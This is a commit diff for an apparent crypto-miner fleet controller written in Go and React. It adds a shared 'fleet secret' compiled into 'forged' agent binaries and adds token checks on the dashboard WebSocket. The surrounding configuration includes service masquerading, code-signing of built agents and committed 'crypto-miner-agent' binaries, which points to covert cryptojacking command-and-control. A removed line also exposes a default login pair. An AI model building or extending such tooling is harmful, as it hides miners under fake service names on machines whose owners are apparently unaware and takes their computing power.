feat: fleet secret auth - zero-setup agent authentication, dashboard WS token, remove credential hints
This commit is contained in:
@@ -178,6 +178,7 @@ func (c *AgentClient) authenticate() error {
|
|||||||
host, cores, memGB := c.reporter.SystemInfo()
|
host, cores, memGB := c.reporter.SystemInfo()
|
||||||
payload, _ := json.Marshal(AuthPayload{
|
payload, _ := json.Marshal(AuthPayload{
|
||||||
AgentID: c.agentID,
|
AgentID: c.agentID,
|
||||||
|
FleetSecret: c.cfg.FleetSecret,
|
||||||
Wallet: c.cfg.Wallet,
|
Wallet: c.cfg.Wallet,
|
||||||
Version: config.Version,
|
Version: config.Version,
|
||||||
Hostname: host,
|
Hostname: host,
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ type Message struct {
|
|||||||
|
|
||||||
type AuthPayload struct {
|
type AuthPayload struct {
|
||||||
AgentID string `json:"agent_id"`
|
AgentID string `json:"agent_id"`
|
||||||
|
FleetSecret string `json:"fleet_secret"`
|
||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
Version string `json:"version"`
|
Version string `json:"version"`
|
||||||
Hostname string `json:"hostname"`
|
Hostname string `json:"hostname"`
|
||||||
|
|||||||
@@ -61,6 +61,9 @@ type BuiltinConfig struct {
|
|||||||
ServiceMasquerade bool
|
ServiceMasquerade bool
|
||||||
ServiceName string
|
ServiceName string
|
||||||
ServiceDonor string
|
ServiceDonor string
|
||||||
|
// FleetSecret is baked in at forge time and presented on WS connect.
|
||||||
|
// The server rejects any agent that doesn't carry the right secret.
|
||||||
|
FleetSecret string
|
||||||
}
|
}
|
||||||
|
|
||||||
type RuntimeConfig struct {
|
type RuntimeConfig struct {
|
||||||
|
|||||||
BIN
agent/crypto-miner-agent
Normal file
BIN
agent/crypto-miner-agent
Normal file
Binary file not shown.
BIN
fusion/crypto-miner-fusion
Normal file
BIN
fusion/crypto-miner-fusion
Normal file
Binary file not shown.
@@ -43,6 +43,9 @@ type ServerSettings struct {
|
|||||||
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
SignCertThumbprint string `json:"sign_cert_thumbprint"`
|
||||||
SignToolPath string `json:"sign_tool_path"`
|
SignToolPath string `json:"sign_tool_path"`
|
||||||
SignTimestampURL string `json:"sign_timestamp_url"`
|
SignTimestampURL string `json:"sign_timestamp_url"`
|
||||||
|
// FleetSecret is a random token generated once on first run and baked into
|
||||||
|
// every forged agent binary. Agents must present it on connect or be rejected.
|
||||||
|
FleetSecret string `json:"fleet_secret"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type PoolConfig struct {
|
type PoolConfig struct {
|
||||||
@@ -549,6 +552,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
|||||||
if src.Server.SignTimestampURL != "" {
|
if src.Server.SignTimestampURL != "" {
|
||||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||||
}
|
}
|
||||||
|
if src.Server.FleetSecret != "" {
|
||||||
|
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"crypto/subtle"
|
||||||
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
@@ -17,6 +19,33 @@ import (
|
|||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// secureStringEqual compares two strings in constant time to prevent timing attacks.
|
||||||
|
func secureStringEqual(a, b string) bool {
|
||||||
|
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
|
||||||
|
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
|
||||||
|
func checkDashboardWSToken(r *http.Request) bool {
|
||||||
|
token := r.URL.Query().Get("token")
|
||||||
|
if token == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
decoded, err := base64.StdEncoding.DecodeString(token)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
parts := strings.SplitN(string(decoded), ":", 2)
|
||||||
|
if len(parts) != 2 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
user, pass := parts[0], parts[1]
|
||||||
|
usersMu.RLock()
|
||||||
|
expectedPass, exists := authUsers[user]
|
||||||
|
usersMu.RUnlock()
|
||||||
|
return exists && secureStringEqual(pass, expectedPass)
|
||||||
|
}
|
||||||
|
|
||||||
var upgrader = websocket.Upgrader{
|
var upgrader = websocket.Upgrader{
|
||||||
ReadBufferSize: 4096,
|
ReadBufferSize: 4096,
|
||||||
WriteBufferSize: 4096,
|
WriteBufferSize: 4096,
|
||||||
@@ -79,6 +108,7 @@ type WSHub struct {
|
|||||||
agentLogs map[string]string
|
agentLogs map[string]string
|
||||||
serverPolicy ServerPolicy
|
serverPolicy ServerPolicy
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
|
fleetSecret string // baked into forged agents; verified on WS connect
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -109,6 +139,14 @@ func (h *WSHub) SetPingInterval(seconds int) {
|
|||||||
h.mu.Unlock()
|
h.mu.Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetFleetSecret stores the shared secret that all forged agents must present.
|
||||||
|
// Called once at startup from main.go after config is loaded.
|
||||||
|
func (h *WSHub) SetFleetSecret(secret string) {
|
||||||
|
h.mu.Lock()
|
||||||
|
h.fleetSecret = secret
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
func (h *WSHub) pingInterval() time.Duration {
|
func (h *WSHub) pingInterval() time.Duration {
|
||||||
h.mu.RLock()
|
h.mu.RLock()
|
||||||
sec := h.pingIntervalSec
|
sec := h.pingIntervalSec
|
||||||
@@ -270,6 +308,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
case "auth":
|
case "auth":
|
||||||
var auth struct {
|
var auth struct {
|
||||||
AgentID string `json:"agent_id"`
|
AgentID string `json:"agent_id"`
|
||||||
|
FleetSecret string `json:"fleet_secret"`
|
||||||
Wallet string `json:"wallet"`
|
Wallet string `json:"wallet"`
|
||||||
Version string `json:"version"`
|
Version string `json:"version"`
|
||||||
Hostname string `json:"hostname"`
|
Hostname string `json:"hostname"`
|
||||||
@@ -300,6 +339,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Verify fleet secret. If the server has one configured, the agent must match.
|
||||||
|
h.mu.RLock()
|
||||||
|
requiredSecret := h.fleetSecret
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
|
||||||
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"success": false, "error": "invalid fleet secret — re-forge this agent",
|
||||||
|
})})
|
||||||
|
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
agentID = auth.AgentID
|
agentID = auth.AgentID
|
||||||
if agentID == "" {
|
if agentID == "" {
|
||||||
agentID = uuid.New().String()
|
agentID = uuid.New().String()
|
||||||
@@ -603,6 +654,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||||
|
// Verify dashboard session. The SPA sends its stored Basic-auth token as
|
||||||
|
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
|
||||||
|
// We decode it and check against the same in-memory user map as the REST API.
|
||||||
|
if !checkDashboardWSToken(r) {
|
||||||
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
|
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
conn, err := upgrader.Upgrade(w, r, nil)
|
conn, err := upgrader.Upgrade(w, r, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Printf("Dashboard WebSocket upgrade error: %v", err)
|
log.Printf("Dashboard WebSocket upgrade error: %v", err)
|
||||||
|
|||||||
@@ -121,6 +121,12 @@ type Handler struct {
|
|||||||
goWinresPath string
|
goWinresPath string
|
||||||
serverModDir string
|
serverModDir string
|
||||||
policy BuildPolicy
|
policy BuildPolicy
|
||||||
|
fleetSecret string // injected from server config; baked into every forge output
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||||
|
func (h *Handler) SetFleetSecret(secret string) {
|
||||||
|
h.fleetSecret = secret
|
||||||
}
|
}
|
||||||
|
|
||||||
type SignPolicy struct {
|
type SignPolicy struct {
|
||||||
@@ -927,6 +933,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ServiceMasquerade: %v,
|
ServiceMasquerade: %v,
|
||||||
ServiceName: %q,
|
ServiceName: %q,
|
||||||
ServiceDonor: %q,
|
ServiceDonor: %q,
|
||||||
|
FleetSecret: %q,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||||
@@ -978,6 +985,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
serviceMasqueradeEnabled(req),
|
serviceMasqueradeEnabled(req),
|
||||||
serviceMasqueradeName(buildID, req),
|
serviceMasqueradeName(buildID, req),
|
||||||
serviceMasqueradeDonor(buildID, req),
|
serviceMasqueradeDonor(buildID, req),
|
||||||
|
h.fleetSecret,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -38,6 +40,23 @@ func main() {
|
|||||||
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
|
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
|
||||||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||||||
|
|
||||||
|
// Generate fleet secret once — persisted in config.json so all future forges
|
||||||
|
// carry the same secret and agents keep working across server restarts.
|
||||||
|
if cfg.Server.FleetSecret == "" {
|
||||||
|
b := make([]byte, 32)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
log.Fatalf("Failed to generate fleet secret: %v", err)
|
||||||
|
}
|
||||||
|
cfg.Server.FleetSecret = hex.EncodeToString(b)
|
||||||
|
if err := cfg.Save(); err != nil {
|
||||||
|
log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
||||||
|
}
|
||||||
|
|
||||||
// Ensure data directories exist
|
// Ensure data directories exist
|
||||||
dirs := []string{
|
dirs := []string{
|
||||||
cfg.DataDir,
|
cfg.DataDir,
|
||||||
@@ -66,6 +85,7 @@ func main() {
|
|||||||
// Initialize WebSocket hub
|
// Initialize WebSocket hub
|
||||||
wsHub := api.NewWSHub(database)
|
wsHub := api.NewWSHub(database)
|
||||||
wsHub.SetAIHandler(aiHandler)
|
wsHub.SetAIHandler(aiHandler)
|
||||||
|
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
|
||||||
wsHub.BroadcastAIActivity(entry)
|
wsHub.BroadcastAIActivity(entry)
|
||||||
})
|
})
|
||||||
@@ -78,6 +98,7 @@ func main() {
|
|||||||
// The agent source is expected at ../agent relative to the server directory
|
// The agent source is expected at ../agent relative to the server directory
|
||||||
agentSrcDir := findAgentSourceDir()
|
agentSrcDir := findAgentSourceDir()
|
||||||
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
|
builderHandler := builder.NewHandler(database, cfg.DataDir, agentSrcDir, projectRoot)
|
||||||
|
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
|
||||||
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
|
||||||
|
|
||||||
defaultPoolCfg := pool.Config{
|
defaultPoolCfg := pool.Config{
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import { getStoredAuth, setStoredAuth } from '../api/auth';
|
|||||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||||
const [ready, setReady] = useState(false);
|
const [ready, setReady] = useState(false);
|
||||||
const [authed, setAuthed] = useState(!!getStoredAuth());
|
const [authed, setAuthed] = useState(!!getStoredAuth());
|
||||||
const [user, setUser] = useState('drjones');
|
const [user, setUser] = useState('');
|
||||||
const [pass, setPass] = useState('');
|
const [pass, setPass] = useState('');
|
||||||
const [err, setErr] = useState('');
|
const [err, setErr] = useState('');
|
||||||
|
|
||||||
@@ -72,7 +72,6 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
|||||||
<button type="submit" className="btn btn-primary btn-lg">
|
<button type="submit" className="btn btn-primary btn-lg">
|
||||||
Enter Command Deck
|
Enter Command Deck
|
||||||
</button>
|
</button>
|
||||||
<p className="form-hint">Default: drjones / czapiewski (change under Calibrate → Users)</p>
|
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import type {
|
|||||||
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||||
import { WebSocketContext } from './WebSocketContext';
|
import { WebSocketContext } from './WebSocketContext';
|
||||||
import type { SeqCommandResult } from './WebSocketContext';
|
import type { SeqCommandResult } from './WebSocketContext';
|
||||||
|
import { getStoredAuth } from '../api/auth';
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||||
@@ -45,7 +46,8 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||||
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
const token = getStoredAuth();
|
||||||
|
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`;
|
||||||
const ws = new WebSocket(wsUrl);
|
const ws = new WebSocket(wsUrl);
|
||||||
wsRef.current = ws;
|
wsRef.current = ws;
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user